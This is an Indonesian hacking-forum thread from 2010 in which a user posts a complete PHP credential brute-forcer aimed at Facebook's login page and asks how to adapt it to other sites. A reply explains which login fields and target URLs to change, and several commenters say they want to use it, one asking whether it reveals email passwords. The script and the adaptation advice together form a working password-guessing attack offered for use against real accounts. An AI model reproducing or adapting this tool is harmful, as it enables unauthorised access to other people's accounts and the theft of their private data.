HN-Community
[ask] Brute Force segala web - Printable Version

+- HN-Community (https://hacker-newbie.org)
+-- Forum: Miscellaneous (https://hacker-newbie.org/forum-86.html)
+--- Forum: Coding/Programing (https://hacker-newbie.org/forum-19.html)
+--- Thread: [ask] Brute Force segala web (/thread-2647.html)



[ask] Brute Force segala web - k1m8ut5 - 04-11-2010

kemarin baca2 di sini : jasakom

PHP Code:
<? ################################ # Face Book Brute Forcer ################################ set_time_limit(0); $username ="brute@force.org"; // username to brute force $dictionary ="dictionary.txt"; // need dictionary to password list function kontrol($kullaniciadi,$sifre){ $useragent = "Firefox/3.0.17"; $data = "email=$kullaniciadi&pass=$sifre&login=Login" ; $ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); $source=curl_exec ($ch); curl_close ($ch); if(eregi("Home</title>",$source)){return true;} else {return false;} } if(!is_file($dictionary)){echo "$dictionary is not file";exit;} $lines=file($dictionary); echo "Attack Starting..<br>"; sleep(10); echo "Attack Started, brute forcing..<br>"; foreach($lines as $line){ $line=str_replace("\r","",$line); $line=str_replace("\n","",$line); if(kontrol($username,$line)){echo "<font face=tahoma color=green>[+]</font><font face=tahoma> username:$username , password:$line - P assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;} else{echo "<font face=tahoma color=brown>[-]</font><font face=tahoma> username:$username , password:$line - Password not found : $line</font><br>";} } ?>

pengen nyoba bikin bruteforce untuk web login yang lain yang pakai http, q coba kok gagal terus ya..
padahal di dalam file dictionary.txt sudah q masukin passwordku,
tapi tak coba kok gak login :D
yang perlu diganti apanya ???

ini yang versi FB : SILAHKAN DICOBA

makasih Wow


RE: [ask] Brute Force segala web - Up_ - 04-11-2010

pertamax...!!

mantaaapp


RE: [ask] Brute Force segala web - K4pT3N - 04-11-2010

pesen errornya apa pak?


RE: [ask] Brute Force segala web - k1m8ut5 - 04-11-2010

@mas kapten
gak ada pesen errornya sih..
cuma gak bisa login aja (gak kesimpan hasil bruteforcenya)
padahal udah jelas q masukin username, terus di dalam dictionary udah q masukin password,


RE: [ask] Brute Force segala web - K4pT3N - 04-11-2010

klo begitu dicek 1-1 ya...

$username ="brute@force.org"; // username to brute force <--- udah jelas
$dictionary ="dictionary.txt"; // <--- pastikan pengambilan lokasi filenya udah bener

$data = "email=$kullaniciadi&pass=$sifre&login=Login" ; <--- ne buat ngecek variabel2 login apa aja yang dikirim. gak semua web, pas login cuma ngirim username ma password doang loh...
$ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php'); <--- ne buat ngetrace lokasi pengirimin variabel login. perhatikan juga opsi FOLLOWLOCATION

oh ya, biar tahu errornya dimana, buatkan masing2 fungsi diatas pengecekkannya. Kalo gak error jalan terus, klo error, tampilkan pesen errornya...

CMIIW


RE: [ask] Brute Force segala web - k1m8ut5 - 04-12-2010

owh gitu ya pak,
makasih atas pencerahannya..
q bingungnya itu yang di trace gimana,
kalo gini : www.target.com/login.php
kalo password wrong juga masuk di : www.target.com/login.php
brarti $ch = curl_init di isi : www.target.com/login.php ??
tak coba dulu..


RE: [ask] Brute Force segala web - oka1302 - 04-14-2010

wah...
mantapz bang..

ijin cobain ...


RE: [ask] Brute Force segala web - andriecom - 04-14-2010

mantap kk ijin make Senang


RE: [ask] Brute Force segala web - kartika_lfp - 04-15-2010

priviewnya dong yg udah nyoba kang "k1m8ut5"

oya gunanya bwt ngliat password email kan ya???


RE: [ask] Brute Force segala web - crash_burn - 04-15-2010

gimana bro kimbut, udah jebol blom ?Wow
tapi kayaknya gak bisa ya fb di bf, kan ada limitnya ya ?Capek
but coba dulu ah... Ngakak